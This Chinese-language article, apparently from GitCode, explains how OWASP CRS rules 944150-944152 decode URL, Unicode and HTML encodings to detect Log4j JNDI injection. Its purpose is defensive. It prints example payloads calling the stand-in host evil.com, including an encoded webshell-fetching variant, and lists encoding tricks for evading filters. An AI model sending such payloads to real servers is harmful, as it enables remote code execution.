OWASP Core Rule Set 中 Log4j 规则对 Unicode 转义序列的处理机制分析
在 OWASP Core Rule Set (CRS) 项目中,规则 944150、944151 和 944152 是针对 Log4j 漏洞(CVE-2021-44228)的重要防护措施。这些规则通过检测特定的攻击模式来防止远程代码执行攻击。本文将深入分析这些规则对包含 Unicode 转义序列的 JSON 数据的处理机制。
背景知识
Log4j 漏洞利用 JNDI 查找功能,攻击者可以通过构造特定的字符串(如 ${jndi:ldap://evil.com/exploit}
)实现远程代码执行。CRS 通过正则表达式匹配这种模式来防御攻击。
在实际攻击中,攻击者会使用各种编码技术来绕过检测,包括:
- URL 编码(如 %24 代替 $)
- Unicode 转义序列(如 \u0024 代替 $)
- HTML 实体编码(如 $ 代替 $)
规则处理流程分析
CRS 中的 Log4j 防护规则(944150-16、944151-16 和 944152-16)采用了多层解码策略:
- URL 解码(urlDecodeUni):处理标准的百分号编码(如 %24)和 IIS 特有的 %u 编码
- JavaScript 解码(jsDecode):处理 JavaScript 风格的 Unicode 转义序列(如 \u0024)
- HTML 实体解码(htmlEntityDecode):处理 HTML 实体编码(如 $)
关键发现
通过深入分析发现,当 JSON 数据中包含 Unicode 转义序列时(如 \u0025),实际的解码过程并非完全由 CRS 的转换函数完成:
-
JSON 解析器的预处理:大多数 JSON 解析器(如 yajl、yyjson)会在数据到达 WAF 规则前自动将 Unicode 转义序列转换为实际字符。例如:
- 输入:
{"foo": "\u002524{jndi:ldap://evil.com/webshell}"}
- 解析后:
{"foo": "%24{jndi:ldap://evil.com/webshell}"}
- 输入:
-
Web 服务器的预处理:某些 Web 服务器(如 Apache、Nginx)也会对请求数据进行预处理,进一步改变原始输入的形式。
-
多层解码的必要性:由于攻击者可能组合使用多种编码方式,CRS 采用多层解码策略确保能够检测各种变体攻击。
技术实现细节
-
URL 解码实现:
- 处理标准百分号编码(如 %24 → $)
- 处理 IIS 特有的 %u 编码(如 %u0024 → $)
- 处理加号编码(+ → 空格)
-
JavaScript 解码实现:
- 处理 \uXXXX 形式的 Unicode 转义序列
- 处理 \xXX 形式的十六进制转义
-
HTML 实体解码实现:
- 处理 &entity; 形式的命名实体
- 处理 &#XXX; 形式的数字实体
安全建议
- 不要随意增加解码层:额外的 URL 解码步骤可能引入规则绕过风险。
- 理解前置处理:在实现自定义 WAF 时,需要了解上游组件(如 JSON 解析器、Web 服务器)对数据的预处理行为。
- 测试覆盖:确保测试用例覆盖各种编码组合,验证防护效果。
- 性能考量:多层解码会增加处理开销,应在安全性和性能间取得平衡。
结论
CRS 的 Log4j 防护规则通过精心设计的多层解码策略,有效应对了攻击者使用的各种编码技术。理解 JSON 解析器和 Web 服务器的预处理行为对于正确实现和测试 WAF 规则至关重要。这一机制不仅适用于 Log4j 漏洞防护,也为处理其他复杂编码的攻击提供了参考模式。
- DDeepSeek-V3.1-BaseDeepSeek-V3.1 是一款支持思考模式与非思考模式的混合模型Python00
- QQwen-Image-Edit基于200亿参数Qwen-Image构建,Qwen-Image-Edit实现精准文本渲染与图像编辑,融合语义与外观控制能力Jinja00
GitCode-文心大模型-智源研究院AI应用开发大赛
GitCode&文心大模型&智源研究院强强联合,发起的AI应用开发大赛;总奖池8W,单人最高可得价值3W奖励。快来参加吧~044CommonUtilLibrary
快速开发工具类收集,史上最全的开发工具类,欢迎Follow、Fork、StarJava04GitCode百大开源项目
GitCode百大计划旨在表彰GitCode平台上积极推动项目社区化,拥有广泛影响力的G-Star项目,入选项目不仅代表了GitCode开源生态的蓬勃发展,也反映了当下开源行业的发展趋势。06GOT-OCR-2.0-hf
阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00openHiTLS
旨在打造算法先进、性能卓越、高效敏捷、安全可靠的密码套件,通过轻量级、可剪裁的软件技术架构满足各行业不同场景的多样化要求,让密码技术应用更简单,同时探索后量子等先进算法创新实践,构建密码前沿技术底座!C0300- WWan2.2-S2V-14B【Wan2.2 全新发布|更强画质,更快生成】新一代视频生成模型 Wan2.2,创新采用MoE架构,实现电影级美学与复杂运动控制,支持720P高清文本/图像生成视频,消费级显卡即可流畅运行,性能达业界领先水平Python00
- GGLM-4.5-AirGLM-4.5 系列模型是专为智能体设计的基础模型。GLM-4.5拥有 3550 亿总参数量,其中 320 亿活跃参数;GLM-4.5-Air采用更紧凑的设计,拥有 1060 亿总参数量,其中 120 亿活跃参数。GLM-4.5模型统一了推理、编码和智能体能力,以满足智能体应用的复杂需求Jinja00
Yi-Coder
Yi Coder 编程模型,小而强大的编程助手HTML013
热门内容推荐
最新内容推荐
项目优选









